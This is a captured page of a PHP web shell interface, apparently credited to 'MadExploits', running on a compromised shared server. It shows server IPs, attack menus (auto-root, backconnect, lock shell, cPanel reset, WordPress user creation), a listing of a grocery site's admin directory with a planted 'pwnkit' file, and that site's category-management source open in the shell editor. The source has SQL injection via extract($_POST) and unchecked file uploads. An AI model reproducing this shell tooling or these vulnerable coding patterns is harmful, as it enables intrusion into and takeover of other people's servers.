Linux server.hostify.co.in 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
Apache
: 162.214.74.213 | : 216.73.217.79
438 Domain
8.2.31
orangegroceries
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
orangegroceries /
public_html /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
assest
[ DIR ]
drwxr-xr-x
banner
[ DIR ]
drwxr-xr-x
ckeditor
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
includes
[ DIR ]
drwxr-xr-x
product
[ DIR ]
drwxr-xr-x
aboutuscms.php
2.86
KB
-rw-r--r--
add-ads.php
7.15
KB
-rw-r--r--
add-brand.php
7.43
KB
-rw-r--r--
add-delivery-employee.php
17.68
KB
-rw-r--r--
add-employee.php
17.84
KB
-rw-r--r--
add-product.php
19.45
KB
-rw-r--r--
add-testimonial.php
4.18
KB
-rw-r--r--
admin.php
5.23
KB
-rw-r--r--
ajax_get_subcat.php
1.32
KB
-rw-r--r--
ajax_get_subsub_cat.php
1.31
KB
-rw-r--r--
all_product_delete.php
258
B
-rw-r--r--
assign-page.php
3.66
KB
-rw-r--r--
balance-sheet.php
6.43
KB
-rw-r--r--
banner.php
7.4
KB
-rw-r--r--
category.php
17.53
KB
-rw-r--r--
checkout-ads.php
3.7
KB
-rw-r--r--
checkout.php
23.41
KB
-rw-r--r--
customer-details.php
11.73
KB
-rw-r--r--
customer.php
4.2
KB
-rw-r--r--
dashboard.php
3.31
KB
-rw-r--r--
delete_ads.php
284
B
-rw-r--r--
delete_banner.php
282
B
-rw-r--r--
delete_brand.php
284
B
-rw-r--r--
delete_category.php
1.81
KB
-rw-r--r--
delete_customer.php
291
B
-rw-r--r--
delete_enquiry.php
288
B
-rw-r--r--
delete_ordprd.php
541
B
-rw-r--r--
delete_prd.php
292
B
-rw-r--r--
delete_product.php
1.49
KB
-rw-r--r--
delete_promo.php
290
B
-rw-r--r--
delete_subcategory.php
2.03
KB
-rw-r--r--
delete_subsubcategory.php
2.64
KB
-rw-r--r--
delete_testimonial.php
292
B
-rw-r--r--
department.php
3.71
KB
-rw-r--r--
designation.php
4.8
KB
-rw-r--r--
edit-assign-page.php
3.71
KB
-rw-r--r--
edit-product-details.php
24.8
KB
-rw-r--r--
edit_adstop.php
299
B
-rw-r--r--
edit_banner.php
300
B
-rw-r--r--
edit_brand.php
295
B
-rw-r--r--
edit_category.php
302
B
-rw-r--r--
edit_subcat.php
505
B
-rw-r--r--
edit_subsubcat.php
571
B
-rw-r--r--
enquiry-now.php
2.75
KB
-rw-r--r--
footer_content.php
2.89
KB
-rw-r--r--
get_prod_details.php
308
B
-rw-r--r--
home-ads.php
3.71
KB
-rw-r--r--
index.php
3.16
KB
-rw-r--r--
invoice.php
17.36
KB
-rw-r--r--
privacy.php
2.96
KB
-rw-r--r--
product-details.php
2.71
KB
-rw-r--r--
product-order-details.php
5.62
KB
-rw-r--r--
products.php
9.17
KB
-rw-r--r--
promo-code.php
5.64
KB
-rw-r--r--
pwnkit
10.99
KB
-rw-r--r--
return_policy.php
2.83
KB
-rw-r--r--
shipping_policy.php
2.87
KB
-rw-r--r--
status_update.php
337
B
-rw-r--r--
sub-category.php
20.11
KB
-rw-r--r--
sub-sub-category.php
24.04
KB
-rw-r--r--
term_condition.php
2.83
KB
-rw-r--r--
view-product-details.php
15.13
KB
-rw-r--r--
view-product-order-detail.php
11.2
KB
-rw-r--r--
view_pages.php
3.55
KB
-rw-r--r--
whatsapp-ads.php
3.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sub-sub-category.php
<?php include("includes/db_config.php"); error_reporting(E_ALL); ini_set('display_errors','1'); if (isset($_POST['submit'])) { // var_dump($_FILES); extract($_POST); $sql2="SELECT * from category where id='$category'"; $exe2=mysqli_query($conn,$sql2); $res2=mysqli_fetch_array($exe2); $sql_scat="SELECT * from sub_category where id='$sub_category'"; $exe_scat=mysqli_query($conn,$sql_scat); $res_scat=mysqli_fetch_array($exe_scat); $category_page = strtolower(str_replace(" ", "-", $res2["cat_name"])); $sub_category_page = strtolower(str_replace(" ", "-", $res_scat["sub_category_name"])); $sub_sub_category_page = strtolower(str_replace(" ", "-", $sub_subcat)); if(!file_exists('../'.$category_page.'/'.$sub_category_page.'/'.$sub_sub_category_page)){ if(mkdir('../'.$category_page.'/'.$sub_category_page.'/'.$sub_sub_category_page, 0777, true)){ if(copy('../includes/css.php', '../'.$category_page.'/'.$sub_category_page.'/'.$sub_sub_category_page.'/css.php') && copy('../includes/js.php', '../'.$category_page.'/'.$sub_category_page.'/'.$sub_sub_category_page.'/js.php') && copy('../includes/header.php', '../'.$category_page.'/'.$sub_category_page.'/'.$sub_sub_category_page.'/header.php') && copy('../includes/footer.php','../'.$category_page.'/'.$sub_category_page.'/'.$sub_sub_category_page.'/footer.php') && copy('../includes/db_config.php', '../'.$category_page.'/'.$sub_category_page.'/'.$sub_sub_category_page.'/db_config.php') && copy('../includes/brands.php', '../'.$category_page.'/'.$sub_category_page.'/'.$sub_sub_category_page.'/brands.php') && copy('../includes/orderwhatsapp.php', '../'.$category_page.'/'.$sub_category_page.'/'.$sub_sub_category_page.'/orderwhatsapp.php') && copy('../product.php', '../'.$category_page.'/'.$sub_category_page.'/'.$sub_sub_category_page.'/'.$sub_sub_category_page.'.php') ){ $tmp_file = $_FILES['subsubcat_img']['tmp_name']; $ext = pathinfo($_FILES["subsubcat_img"]["name"], PATHINFO_EXTENSION); $rand = md5(uniqid().rand()); $subsubcat_img = $rand.".".$ext; move_uploaded_file($tmp_file,"product/subsubcat/".$subsubcat_img); $tmp_file = $_FILES['subsubcat_bnimg']['tmp_name']; $ext = pathinfo($_FILES["subsubcat_bnimg"]["name"], PATHINFO_EXTENSION); $rand1 = md5(uniqid().rand()); $subsubcat_ban_img = $rand1.".".$ext; move_uploaded_file($tmp_file,"product/subsubcat/".$subsubcat_ban_img); $sql="INSERT into sub_sub_category(category_id,sub_category_id,sub_sub_cat_name,subsub_cat_img,sub_sub_cat_banner) values ('$category','$sub_category','$sub_subcat','$subsubcat_img','$subsubcat_ban_img')"; $res=mysqli_query($conn,$sql) or die(mysqli_error()); if($res) { echo " <script>alert('sub sub Category created successfully...'); location.replace('sub-sub-category.php'); </script>"; } } else{ echo "<script> alert('Something went wrong, Please try again...'); location.replace('sub-sub-category.php'); </script> "; } } else{ echo " <script> alert('Something went wrong, Please try again...'); location.replace('sub-sub-category.php'); </script> "; } } else{ echo " <script> alert('Sub Sub Category name already exists, Please change the name and try again...'); location.replace('sub-sub-category.php'); </script> "; } } /*if(isset($_POST['update'])) { //var_dump($_POST);exit(); extract($_POST); $id=$_POST["scat_id"]; $sql1 ="UPDATE sub_sub_category SET category_id='$cat_name',sub_category_id='$sub_category',sub_sub_cat_name='$subsubcat_name' WHERE id='$id'"; $res=mysqli_query($conn,$sql1) or die(mysqli_error()); if($res){ $sqlg = "SELECT * from sub_sub_category where id = $id"; $resultg = mysqli_query($conn,$sqlg) or die(mysqli_error()); $resg = mysqli_fetch_object($resultg); if($_FILES["ssubcat_img"]["name"] != ""){ $oname=$_FILES["ssubcat_img"]["name"]; $pos = strrpos($oname, "."); $extension=substr($oname,$pos+1); $tn = $_FILES["ssubcat_img"]["tmp_name"]; $path = "product/subsubcat/".$resg->id.'.'.$extension; $upath = "product/subsubcat/".$resg->subsub_cat_img; //unlink($upath); move_uploaded_file($tn,$path); $image = $resg->id.'.'.$extension; } else { $image = $resg->subsub_cat_img; } if($_FILES["ssubcat_bnimg"]["name"] != ""){ $oname=$_FILES["ssubcat_bnimg"]["name"]; $pos = strrpos($oname, "."); $extension=substr($oname,$pos+1); $tn = $_FILES["ssubcat_bnimg"]["tmp_name"]; $path = "product/subsubcat/".$resg->id.'55'.'.'.$extension; $upath = "product/subsubcat/".$resg->sub_sub_cat_banner; //unlink($upath); move_uploaded_file($tn,$path); $banner = $resg->id.'55'.'.'.$extension; } else { $banner = $resg->sub_sub_cat_banner; } $sqlup = "UPDATE sub_sub_category SET subsub_cat_img = '$image',sub_sub_cat_banner='$banner' WHERE id = $resg->id"; // echo $sqlup; exit(); $resultup = mysqli_query($conn,$sqlup) or die(mysqli_error()); } }*/ if(isset($_POST['update'])) { //var_dump($_FILES); extract($_POST); $id=$_POST["scat_id"]; $cat_name=$_POST["cat_name"]; $sql_cat="SELECT * from category where id='".$cat_name."'"; $exe_cat=mysqli_query($conn,$sql_cat); $res_cat=mysqli_fetch_array($exe_cat); $sql_scat="SELECT * from sub_category where id='$sub_category'"; $exe_scat=mysqli_query($conn,$sql_scat); $res_scat=mysqli_fetch_array($exe_scat); $category_page = strtolower(str_replace(" ", "-", $res_cat['cat_name'])); $sub_category_page = strtolower(str_replace(" ", "-", $res_scat["sub_category_name"])); $subsubcategory_old_page = strtolower(str_replace(" ", "-", $subsubcat_name_old)); $subsubcategory_new_page = strtolower(str_replace(" ", "-", $subsubcat_name)); //if(!file_exists('../'.$category_page.'/'.$sub_category_page.'/'.$subsubcategory_new_page)){ if(file_exists('../'.$category_page.'/'.$sub_category_page.'/'.$subsubcategory_old_page)){ if(rename("../$category_page/$sub_category_page/$subsubcategory_old_page", "../$category_page/$sub_category_page/$subsubcategory_new_page")){ if(rename("../$category_page/$sub_category_page/$subsubcategory_new_page/".strtolower(str_replace(" ", "-", $subsubcat_name_old)).".php", "../$category_page/$sub_category_page/$subsubcategory_new_page/".strtolower(str_replace(" ", "-", $subsubcat_name)).".php")){ $sql1 ="UPDATE sub_sub_category SET category_id='$cat_name',sub_category_id='$sub_category',sub_sub_cat_name='$subsubcat_name' WHERE id='$id'"; $res=mysqli_query($conn,$sql1) or die(mysqli_error()); if($res){ $sqlg = "SELECT * from sub_sub_category where id = $id"; $resultg = mysqli_query($conn,$sqlg) or die(mysqli_error()); $resg = mysqli_fetch_object($resultg); if($_FILES["ssubcat_img"]["name"] != ""){ $oname=$_FILES["ssubcat_img"]["name"]; $pos = strrpos($oname, "."); $extension=substr($oname,$pos+1); $tn = $_FILES["ssubcat_img"]["tmp_name"]; $path = "product/subsubcat/".$resg->id.'.'.$extension; $upath = "product/subsubcat/".$resg->subsub_cat_img; //unlink($upath); move_uploaded_file($tn,$path); $image = $resg->id.'.'.$extension; } else { $image = $resg->subsub_cat_img; } if($_FILES["ssubcat_bnimg"]["name"] != ""){ $oname=$_FILES["ssubcat_bnimg"]["name"]; $pos = strrpos($oname, "."); $extension=substr($oname,$pos+1); $tn = $_FILES["ssubcat_bnimg"]["tmp_name"]; $path = "product/subsubcat/".$resg->id.'55'.'.'.$extension; $upath = "product/subsubcat/".$resg->sub_sub_cat_banner; //unlink($upath); move_uploaded_file($tn,$path); $banner = $resg->id.'55'.'.'.$extension; } else { $banner = $resg->sub_sub_cat_banner; } $sqlup = "UPDATE sub_sub_category SET subsub_cat_img = '$image',sub_sub_cat_banner='$banner' WHERE id = $resg->id"; $resultup = mysqli_query($conn,$sqlup) or die(mysqli_error()); } } else{ echo " <script> alert('Something went wrong, Please try again...'); location.replace('sub-sub-category.php'); </script> "; } } else{ echo " <script> alert('Something went wrong, Please try again...'); location.replace('sub-sub-category.php'); </script> "; } } else{ if(mkdir('../'.$category_page.'/'.$sub_category_page.'/'.$subsubcategory_new_page, 0777, true)){ if(copy('../includes/css.php', '../'.$category_page.'/'.$sub_category_page.'/'.$subsubcategory_new_page.'/css.php') && copy('../includes/js.php', '../'.$category_page.'/'.$sub_category_page.'/'.$subsubcategory_new_page.'/js.php') && copy('../includes/header.php', '../'.$category_page.'/'.$sub_category_page.'/'.$subsubcategory_new_page.'/header.php') && copy('../includes/footer.php','../'.$category_page.'/'.$sub_category_page.'/'.$subsubcategory_new_page.'/footer.php') && copy('../includes/db_config.php', '../'.$category_page.'/'.$sub_category_page.'/'.$subsubcategory_new_page.'/db_config.php') && copy('../includes/brands.php', '../'.$category_page.'/'.$sub_category_page.'/'.$subsubcategory_new_page.'/brands.php') && copy('../includes/orderwhatsapp.php', '../'.$category_page.'/'.$sub_category_page.'/'.$subsubcategory_new_page.'/orderwhatsapp.php') && copy('../product.php', '../'.$category_page.'/'.$sub_category_page.'/'.$subsubcategory_new_page.'/'.$subsubcategory_new_page.'.php') ){ $sql1 ="UPDATE sub_sub_category SET category_id='$cat_name',sub_category_id='$sub_category',sub_sub_cat_name='$subsubcat_name' WHERE id='$id'"; $res=mysqli_query($conn,$sql1) or die(mysqli_error()); if($res){ $sqlg = "SELECT * from sub_sub_category where id = $id"; $resultg = mysqli_query($conn,$sqlg) or die(mysqli_error()); $resg = mysqli_fetch_object($resultg); if($_FILES["ssubcat_img"]["name"] != ""){ $oname=$_FILES["ssubcat_img"]["name"]; $pos = strrpos($oname, "."); $extension=substr($oname,$pos+1); $tn = $_FILES["ssubcat_img"]["tmp_name"]; $path = "product/subsubcat/".$resg->id.'.'.$extension; $upath = "product/subsubcat/".$resg->subsub_cat_img; //unlink($upath); move_uploaded_file($tn,$path); $image = $resg->id.'.'.$extension; } else { $image = $resg->subsub_cat_img; } if($_FILES["ssubcat_bnimg"]["name"] != ""){ $oname=$_FILES["ssubcat_bnimg"]["name"]; $pos = strrpos($oname, "."); $extension=substr($oname,$pos+1); $tn = $_FILES["ssubcat_bnimg"]["tmp_name"]; $path = "product/subsubcat/".$resg->id.'55'.'.'.$extension; $upath = "product/subsubcat/".$resg->sub_sub_cat_banner; //unlink($upath); move_uploaded_file($tn,$path); $banner = $resg->id.'55'.'.'.$extension; } else { $banner = $resg->sub_sub_cat_banner; } $sqlup = "UPDATE sub_sub_category SET subsub_cat_img = '$image',sub_sub_cat_banner='$banner' WHERE id = $resg->id"; $resultup = mysqli_query($conn,$sqlup) or die(mysqli_error()); } } else{ echo " <script> alert('Something went wrong, Please try again...'); location.replace('sub-sub-category.php'); </script> "; } } else{ echo " <script> alert('Something went wrong, Please try again...'); location.replace('sub-sub-category.php'); </script> "; } } // } else{ // echo " // <script> // alert('Sub Sub Category name already exists, Please change the name and try again...'); // location.replace('sub-sub-category.php'); // </script> // "; // } } ?> <!DOCTYPE html> <html lang="en-IN"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Orange Groceries</title> <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport"> <?php include("includes/css.php")?> </head> <body class="hold-transition skin-blue sidebar-mini"> <div class="wrapper"> <?php include("includes/header.php")?> <?php include("includes/sidebar.php")?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <!-- Main content --> <section class="content"> <div class="row"> <div class="col-md-7"> <div class="box box-danger"> <div class="box-header with-border"> <h3 class="box-title">Sub Sub-Category</h3> </div> <!-- /.box-header --> <div class="box-body table-responsive"> <table class="table table-bordered example2"> <thead> <tr> <th>S. No</th> <th>Category</th> <th>Sub-Category</th> <th>Sub-Sub-Category</th> <th>Sub-Sub-Category Image</th> <th>Sub-Sub-Category Banner</th> <th>Edit</th> <th>Delete</th> </tr> </thead> <tbody> <?php $sql="select sub_sub_category.*,category.cat_name,sub_category.sub_category_name from sub_sub_category join category on sub_sub_category.category_id=category.id join sub_category on sub_sub_category.sub_category_id=sub_category.id"; $result = mysqli_query($conn, $sql); $j=1;// 8.Jh- Include pagination while($res= mysqli_fetch_array($result))// 7.Jh- Add loop to appling step 5 means selected coloumns { ?> <tr> <td><?php echo $j; $j++; ?></td> <td><?php echo $res['cat_name']; ?></td> <td><?php echo $res['sub_category_name']; ?></td> <td><?php echo $res['sub_sub_cat_name']; ?></td> <td><img src="product/subsubcat/<?php echo $res['subsub_cat_img']; ?>" width="40px"></td> <td><img src="product/subsubcat/<?php echo $res['sub_sub_cat_banner']; ?>" width="40px"></td> <td><input type="button" name="edit" value="Edit" id="<?php echo $res["id"]; ?>" class="btn btn-md btn-success edit_data" /></td> <td><a href="javascript:delete_subsubcat_by_ID('<?php echo $res['id'] ?>','<?php echo $res['cat_name'] ?>','<?php echo $res['sub_category_name'] ?>','<?php echo $res['sub_sub_cat_name'] ?>');" class="ask"><i class="fa fa-trash-o"></i></a></td> </tr> <?php } ?> </tbody> </table> </div> <!-- /.box-body --> </div> </div> <div class="col-md-5"> <div class="box box-danger"> <div class="box-header"> <h3 class="box-title">Add New Sub-Sub-Category</h3> </div> <div class="box-body"> <form method="post" action="" enctype="multipart/form-data"> <div class="form-group"> <label>Category:</label> <div class="input-group"> <div class="input-group-addon"> <i class="fa fa-suitcase"></i> </div> <select name="category" id="cat_id" class="form-control"> <option>Select</option> <?php $sql2="SELECT * from category"; $exe2=mysqli_query($conn,$sql2); while ($res2=mysqli_fetch_array($exe2)) { ?> <option value="<?php echo $res2['id']; ?>"><?php echo $res2['cat_name'];?></option> <?php } ?> </select> </div> </div> <div class="form-group"> <label>Sub-Category:</label> <div class="input-group"> <div class="input-group-addon"> <i class="fa fa-suitcase"></i> </div> <select name="sub_category" id="sub_cat" class="form-control"> <option>Select</option> <?php /* $sql2="SELECT * from category"; $exe2=mysqli_query($conn,$sql2); while ($res2=mysqli_fetch_array($exe2)) { ?> <option value="<?php echo $res2['id']; ?>"><?php echo $res2['cat_name'];?></option> <?php }*/ ?> </select> </div> </div> <div class="form-group"> <label>Sub Sub Category:</label> <div class="input-group"> <div class="input-group-addon"> <i class="fa fa-suitcase"></i> </div> <input type="text" name="sub_subcat" class="form-control" placeholder="Enter Sub-Sub-Category Name"> </div> </div> <div class="form-group"> <label>Sub Sub Category Image :</label> <div class="input-group"> <div class="input-group-addon"> <i class="fa fa-suitcase"></i> </div> <input type="file" name="subsubcat_img" class="form-control" placeholder="Category"> </div> </div> <div class="form-group"> <label>Sub Sub Category Banner Image :<span class="text-red">Size : 950px X 100px</span></label> <div class="input-group"> <div class="input-group-addon"> <i class="fa fa-suitcase"></i> </div> <input type="file" name="subsubcat_bnimg" class="form-control" placeholder="Category"> </div> </div> <div class="form-group"> <div class="input-group"> <input type="submit" name="submit" class="btn btn-success btn-md" value="Submit"> </div> </div> </form> </div> <!-- /.box-body --> </div> </div> </div> <!-- Modal Sub-Category --> <div id="add_data_Modal" class="modal fade"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">×</button> <h4 class="modal-title">Update Sub Sub Category</h4> </div> <form method="post" id="insert_form" enctype="multipart/form-data"> <div class="modal-body"> <label> Category</label> <select name="cat_name" id="cat_idd" class="form-control"> <option>Select</option> <?php $sql2="SELECT * from category"; $exe2=mysqli_query($conn,$sql2); while ($res2=mysqli_fetch_array($exe2)) { ?> <option value="<?php echo $res2['id']; ?>"><?php echo $res2['cat_name'];?></option> <?php } ?> </select> <span style="color: red" id="cat_idd_alert"></span> </br> <label>Sub Category</label> <select name="sub_category" id="sub_cat" class="form-control" required> <option value="">Select</option> <?php $sql2="SELECT * from sub_category"; $exe2=mysqli_query($conn,$sql2); while ($res2=mysqli_fetch_array($exe2)) { ?> <option value="<?php echo $res2['id']; ?>"><?php echo $res2['sub_category_name'];?></option> <?php } ?> </select> <span style="color: red" id="sub_cat_alert"></span> <div class="form-group"> <label>Sub Sub Category </label> <input type="text" name="subsubcat_name" id="subsubcat_name" class="form-control" placeholder="Enter Sub Sub Category"> <input type="hidden" name="subsubcat_name_old" id="subsubcat_name_old" class="form-control"> </div> <div class="form-group"> <label>Sub Sub Category Image</label> <input type="file" name="ssubcat_img" class="form-control" placeholder=" Photo"> </div> <div class="form-group"> <label>Sub Sub Category Banner:<span class="text-red">Size : 950px X 100px</span></label> <input type="file" name="ssubcat_bnimg" class="form-control" placeholder=" Photo"> </div> <input type="hidden" name="scat_id" id="scat_id" /> </div> <div class="modal-footer"> <input type="submit" name="update" id="insert" value="Insert" class="btn btn-success" /> <button type="button" class="btn btn-default" data-dismiss="modal">Close</button> </div> </form> </div> </div> </div> <!-- ./Modal Sub-Category --> </section> </div> <?php include("includes/footer.php")?> </div> <?php include("includes/js.php")?> <script> $(function() { $('#example1').DataTable() $('#example2').DataTable({ 'paging': true, 'lengthChange': false, 'searching': false, 'ordering': true, 'info': true, 'autoWidth': false }) }) $(document).ready(function(){ $('#cat_id').on('change', function(){ var cat_id = $(this).val(); if(cat_id){ $.ajax({ type:'POST', url:'ajax_get_subcat.php', data:'cat_id='+cat_id, success:function(html){ $('#sub_cat').html(html); // console.log(html); // $('#city').html('<option value="">Select Division</option>'); } }); } }); }); $(document).ready(function(){ $(document).on('click', '.edit_data', function(){ var scat_id = $(this).attr("id"); $.ajax({ url:"edit_subsubcat.php", method:"POST", data:{scat_id:scat_id}, dataType:"json", success:function(data){ $('#cat_idd').val(data.category_id); $('#sub_cat').val(data.sub_category_id); $('#subsubcat_name').val(data.sub_sub_cat_name); $('#subsubcat_name_old').val(data.sub_sub_cat_name); $('#scat_id').val(data.id); $('#insert').val("Update"); $('#add_data_Modal').modal('show'); console.log(data); } }); }); }); function delete_subsubcat_by_ID(id,name,sub_name,sub_sub_name) { if (confirm('Do You Want to Deleting This \nContinue anyway?')) { window.location.href = 'delete_subsubcategory.php?id=' + id + '&name=' + name + '&sub_name=' + sub_name + '&sub_sub_name=' + sub_sub_name; } } $(document).ready(function(){ $("#cat_idd").change(function(){ var select = $("#cat_idd option:selected").val(); validcat_idd(); }); }); function validcat_idd() { var cat_idd = $("#cat_idd"); if(cat_idd.val() == "" || cat_idd.val() == null || cat_idd.val() == "Select Category") { cat_idd.focus(); $("#cat_idd").html("select Category field required"); return false; } else { $("#cat_idd_alert").html(""); } } $(document).ready(function(){ $("#sub_cat").change(function(){ var select = $("#sub_cat option:selected").val(); validsub_cat(); }); }); function validsub_cat() { var sub_cat = $("#sub_cat"); if(sub_cat.val() == "" || sub_cat.val() == null || sub_cat.val() == "Select Next Video") { sub_cat.focus(); $("#sub_cat").html("select Country field required"); return false; } else { $("#sub_cat_alert").html(""); } } $(document).ready(function(){ $("#insert1").click(function(){ var cat_idd = validatetext('cat_idd','cat_idd_alert'); var sub_cat = validatetext('sub_cat','sub_cat_alert'); if(cat_idd == 0 || sub_cat == 0 ) { return false; } }); }); </script> </body> </html>
Close